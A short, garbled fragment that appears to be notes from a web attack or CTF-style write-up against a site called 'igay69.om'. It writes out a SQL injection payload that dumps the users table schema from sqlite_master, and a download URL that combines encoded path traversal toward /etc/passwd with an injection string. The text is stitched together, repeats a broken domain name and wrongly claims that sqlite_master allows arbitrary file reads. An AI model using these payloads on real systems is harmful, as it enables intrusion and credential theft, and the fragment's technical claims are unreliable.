' UNION SELECT sql FROM sqlite_master WHERE type='table' AND name='users'--
The page responded instantly – no delay. However, the presence of a backend gave a new idea: SQLite allows loading extensions and arbitrary file reads via the sqlite_master table . igay69. om
http://igay69.om/download.php?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd ' UNION SELECT sql FROM sqlite_master WHERE type='table'
The uploads/ directory is 403‑protected, but sometimes the upload endpoint is not directly under that path. igay69. om